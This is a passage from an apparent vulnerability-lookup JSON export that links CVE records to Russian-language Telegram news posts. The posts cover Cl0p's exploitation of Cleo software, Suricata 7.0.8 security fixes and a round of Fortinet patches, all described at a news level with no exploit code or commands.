\u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a Blue Yonder. \u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c 30 \u0434\u0435\u043a\u0430\u0431\u0440\u044f, \u0435\u0441\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u043d\u0435 \u0432\u044b\u0439\u0434\u0435\u0442 \u043d\u0430 \u0441\u0432\u044f\u0437\u044c.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u00a0\u0430\u0442\u0430\u043a\u0430 Blue Yonder, \u043f\u043e\u0440\u0430\u0437\u0438\u0432\u0448\u0430\u044f \u0441\u043b\u0435\u0434\u043e\u043c Starbucks \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u0440\u0443\u043f\u043d\u044b\u0435 \u0441\u0435\u0442\u0438 \u043e\u0431\u0449\u0435\u043f\u0438\u0442\u0430, \u0431\u044b\u043b\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Cleo.\n\n\u041f\u0440\u0430\u0432\u0434\u0430 \u0442\u043e\u0433\u0434\u0430, \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u00a0\u0437\u0430 \u0430\u0442\u0430\u043a\u0443 Blue Yonder \u0432\u0437\u044f\u043b\u0430 \u043d\u0430 \u0441\u0435\u0431\u044f \u043d\u043e\u0432\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Termite, \u043d\u043e \u043f\u043e\u0437\u0436\u0435 \u0441\u0442\u0430\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0437\u0430 \u043d\u0435\u0439 \u0441\u0442\u043e\u044f\u0442 \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043f\u043e MOVEit \u0438 \u043f\u0440\u043e\u0447\u0438\u043c \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u043c \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 Cl0p.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u0430 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430 Harmony, VLTrader \u0438 LexiCom \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c CVE-2024-50623 \u0438 CVE-2024-55956 \u043c\u043e\u0433\u0443\u0442 \u0441\u0442\u043e\u044f\u0442\u044c \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u044b \u0443\u0433\u0440\u043e\u0437 \u0441 \u0442\u0435\u0445 \u043f\u043e\u0440, \u043a\u0430\u043a \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 Cleo.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0443 Cleo \u0431\u043e\u043b\u0435\u0435 4000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u043d\u043e\u0432\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u043c\u043e\u0436\u0435\u0442 \u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0441 \u043f\u0440\u043e\u0448\u043b\u044b\u043c\u0438 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 Cl0p. \u041d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2024-12-28T13:06:09.000000Z"}, {"uuid": "02f5eb4b-2303-42b3-9dd8-e2618fd8ce63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55629", "type": "seen", "source": "https://t.me/true_secator/6543", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Suricata \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 7.0.8 \u0441\u0432\u043e\u0435\u0439 IDS/IPS-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445, CVE-2024-55627 \u0438 CVE-2024-55605, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, CVE-2024-55628 \u0438 CVE-2024-55629 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u044b \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c, \u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0430\u044f\u0441\u044f CVE-2024-55626 - \u043a \u043d\u0438\u0437\u043a\u043e\u043c\u0443.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c: \u0410\u043b\u0435\u043a\u0441\u0435\u0439 \u0421\u0438\u043c\u0430\u043a\u043e\u0432, \u041d\u043e\u0439 \u041b\u044e, \u0420\u043e\u043c\u0430\u043d \u0415\u0436\u043e\u0432 (Positive Technologies), \u0421\u0430\u0448\u0430 \u0421\u0442\u0435\u0439\u043d\u0431\u0438\u0441\u0441, \u0421\u0438\u043c\u0435\u043d \u041b\u0438\u0431\u0435\u043a\u043a, Team Superflat, \u0417\u0435\u043c\u0435\u0442\u0440\u0438 \u041a\u0430\u043c\u0438\u043c\u0438\u0434\u0437\u0443, Oss-Fuzz, Coverity.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043c\u0430\u043b\u043e, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2024-12-16T12:57:32.000000Z"}, {"uuid": "4e944380-02ed-4627-8922-14b2886e71d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55627", "type": "seen", "source": "https://t.me/true_secator/6543", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Suricata \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 7.0.8 \u0441\u0432\u043e\u0435\u0439 IDS/IPS-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445, CVE-2024-55627 \u0438 CVE-2024-55605, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, CVE-2024-55628 \u0438 CVE-2024-55629 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u044b \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c, \u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0430\u044f\u0441\u044f CVE-2024-55626 - \u043a \u043d\u0438\u0437\u043a\u043e\u043c\u0443.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c: \u0410\u043b\u0435\u043a\u0441\u0435\u0439 \u0421\u0438\u043c\u0430\u043a\u043e\u0432, \u041d\u043e\u0439 \u041b\u044e, \u0420\u043e\u043c\u0430\u043d \u0415\u0436\u043e\u0432 (Positive Technologies), \u0421\u0430\u0448\u0430 \u0421\u0442\u0435\u0439\u043d\u0431\u0438\u0441\u0441, \u0421\u0438\u043c\u0435\u043d \u041b\u0438\u0431\u0435\u043a\u043a, Team Superflat, \u0417\u0435\u043c\u0435\u0442\u0440\u0438 \u041a\u0430\u043c\u0438\u043c\u0438\u0434\u0437\u0443, Oss-Fuzz, Coverity.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043c\u0430\u043b\u043e, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2024-12-16T12:57:32.000000Z"}, {"uuid": "ec68bc48-c168-4fdd-bdfd-61250830b718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55605", "type": "seen", "source": "https://t.me/true_secator/6543", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Suricata \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 7.0.8 \u0441\u0432\u043e\u0435\u0439 IDS/IPS-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445, CVE-2024-55627 \u0438 CVE-2024-55605, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, CVE-2024-55628 \u0438 CVE-2024-55629 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u044b \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c, \u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0430\u044f\u0441\u044f CVE-2024-55626 - \u043a \u043d\u0438\u0437\u043a\u043e\u043c\u0443.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c: \u0410\u043b\u0435\u043a\u0441\u0435\u0439 \u0421\u0438\u043c\u0430\u043a\u043e\u0432, \u041d\u043e\u0439 \u041b\u044e, \u0420\u043e\u043c\u0430\u043d \u0415\u0436\u043e\u0432 (Positive Technologies), \u0421\u0430\u0448\u0430 \u0421\u0442\u0435\u0439\u043d\u0431\u0438\u0441\u0441, \u0421\u0438\u043c\u0435\u043d \u041b\u0438\u0431\u0435\u043a\u043a, Team Superflat, \u0417\u0435\u043c\u0435\u0442\u0440\u0438 \u041a\u0430\u043c\u0438\u043c\u0438\u0434\u0437\u0443, Oss-Fuzz, Coverity.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043c\u0430\u043b\u043e, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2024-12-16T12:57:32.000000Z"}, {"uuid": "8dbb9683-52ba-4772-b342-70b568de5d8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55626", "type": "seen", "source": "https://t.me/true_secator/6543", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Suricata \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 7.0.8 \u0441\u0432\u043e\u0435\u0439 IDS/IPS-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445, CVE-2024-55627 \u0438 CVE-2024-55605, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, CVE-2024-55628 \u0438 CVE-2024-55629 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u044b \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c, \u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0430\u044f\u0441\u044f CVE-2024-55626 - \u043a \u043d\u0438\u0437\u043a\u043e\u043c\u0443.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c: \u0410\u043b\u0435\u043a\u0441\u0435\u0439 \u0421\u0438\u043c\u0430\u043a\u043e\u0432, \u041d\u043e\u0439 \u041b\u044e, \u0420\u043e\u043c\u0430\u043d \u0415\u0436\u043e\u0432 (Positive Technologies), \u0421\u0430\u0448\u0430 \u0421\u0442\u0435\u0439\u043d\u0431\u0438\u0441\u0441, \u0421\u0438\u043c\u0435\u043d \u041b\u0438\u0431\u0435\u043a\u043a, Team Superflat, \u0417\u0435\u043c\u0435\u0442\u0440\u0438 \u041a\u0430\u043c\u0438\u043c\u0438\u0434\u0437\u0443, Oss-Fuzz, Coverity.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043c\u0430\u043b\u043e, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2024-12-16T12:57:32.000000Z"}, {"uuid": "ff052946-5bb4-40bf-a098-a17b54ac624f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55628", "type": "seen", "source": "https://t.me/true_secator/6543", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Suricata \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 7.0.8 \u0441\u0432\u043e\u0435\u0439 IDS/IPS-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445, CVE-2024-55627 \u0438 CVE-2024-55605, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, CVE-2024-55628 \u0438 CVE-2024-55629 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u044b \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c, \u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0430\u044f\u0441\u044f CVE-2024-55626 - \u043a \u043d\u0438\u0437\u043a\u043e\u043c\u0443.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c: \u0410\u043b\u0435\u043a\u0441\u0435\u0439 \u0421\u0438\u043c\u0430\u043a\u043e\u0432, \u041d\u043e\u0439 \u041b\u044e, \u0420\u043e\u043c\u0430\u043d \u0415\u0436\u043e\u0432 (Positive Technologies), \u0421\u0430\u0448\u0430 \u0421\u0442\u0435\u0439\u043d\u0431\u0438\u0441\u0441, \u0421\u0438\u043c\u0435\u043d \u041b\u0438\u0431\u0435\u043a\u043a, Team Superflat, \u0417\u0435\u043c\u0435\u0442\u0440\u0438 \u041a\u0430\u043c\u0438\u043c\u0438\u0434\u0437\u0443, Oss-Fuzz, Coverity.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043c\u0430\u043b\u043e, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2024-12-16T12:57:32.000000Z"}, {"uuid": "03c41468-0b09-47d9-949d-55cbd092df86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55590", "type": "seen", "source": "https://t.me/true_secator/6837", "content": "Fortinet \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 18 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0445 \u043d\u0430 FortiOS, FortiProxy, FortiPAM, FortiSRA, FortiAnalyzer, FortiManager, FortiAnalyzer-BigData, FortiSandbox, FortiNDR, FortiWeb, FortiSIEM \u0438 FortiADC.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f CVE-2023-48790 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c XSS \u0432 FortiNDR, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434.\n\n\u0412 FortiOS, FortiProxy, FortiPAM, FortiSRA \u0438 FortiWeb \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2024-45325, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u043f\u043e-\u0432\u0438\u0434\u0438\u043c\u043e\u043c\u0443, \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b.\n\n\u0414\u0440\u0443\u0433\u0430\u044f CVE-2023-40723 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 FortiSIEM \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 API-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\u00a0\n\n\u0412 FortiSandbox Fortinet\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-45328 (\u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439), CVE-2024-52961 (\u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434) \u0438 CVE-2024-54027 (\u0447\u0442\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445), \u0432\u0441\u0435 \u043e\u043d\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0446\u0435\u043d\u043a\u0443 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u0412 FortiIsolator \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 CVE-2024-55590, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u0432 FortiADC \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-37933, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 XSS-\u0430\u0442\u0430\u043a\u0438.\u00a0\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, 